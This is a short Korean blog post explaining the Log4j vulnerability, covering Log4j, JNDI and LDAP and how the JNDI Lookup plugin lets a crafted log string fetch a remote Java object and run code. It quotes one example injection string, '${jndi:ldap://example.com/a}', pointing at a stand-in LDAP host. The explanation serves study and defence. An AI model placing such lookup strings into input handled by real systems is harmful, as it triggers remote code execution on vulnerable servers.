IT보안관의 공부 클라우드
Log4j 이슈 간단 정리 본문
Log4j는 Java/Kotlin/Scala/Groovy/Clojure 프로그램의 로그를 기록해주는 라이브러리이다.
프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해준다.
취약점은 JNDI와 LDAP를 이용한다.
JNDI(Java Naming and Directory Interface)는 디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup)하기 위한 자바 API다.
JNDI는 일반적으로 다음의 용도로 쓰인다:
출처: https://ko.wikipedia.org/wiki/JNDI
경량 디렉터리 액세스 프로토콜(영어: Lightweight Directory Access Protocol; LDAP)은 TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜이다.
출처: https://ko.wikipedia.org/wiki/LDAP
취약점의 근본적인 원인은 "JNDI Lookup plugin" 기능.
- JNDI Lookup은 변수를 JNDI를 통해 변수를 가져올 수 있또록 한다.
- 기본적으로 Key는 java:comp/env/가 prefix 되며, 만약 key에 ":"가 존재한다면 prefix가 추가되지 않는다.
예를 들어 ${jndi:ldap://example.com/a}와 같이 키에 ":"가 있고 prefix가 없는 경우 LDAP 서버에서 object에 대한 쿼리를 받는다.
-> ldap 서버에서 java 객체를 jndi를 통해 받아오는 것 같다.
-> 결론적으로 JndiLookup은 Lookup의 하나로, ${jndi:xxxx}라는 변수를 JNDI로 xxxx를 lookup 한 값을 출력하며, JNDI Injection이 이용되면서 임의로 코드가 실행된다.
'IT > 정보보안' 카테고리의 다른 글
금융권 법률 적용 관련 정리 (0) | 2022.05.13 |
---|---|
정보보안 면접 질문 50개 / 22년 업데이트 (10) | 2022.04.25 |
21.10.29 (0) | 2021.10.29 |
NTFS 방식 하드드라이브를 간단히 망가트리는 제로데이 (0) | 2021.01.17 |
금융보안원, 일본 금융ISAC과 사이버 위협 정보 및 대응방안 공유 강화 (0) | 2020.12.28 |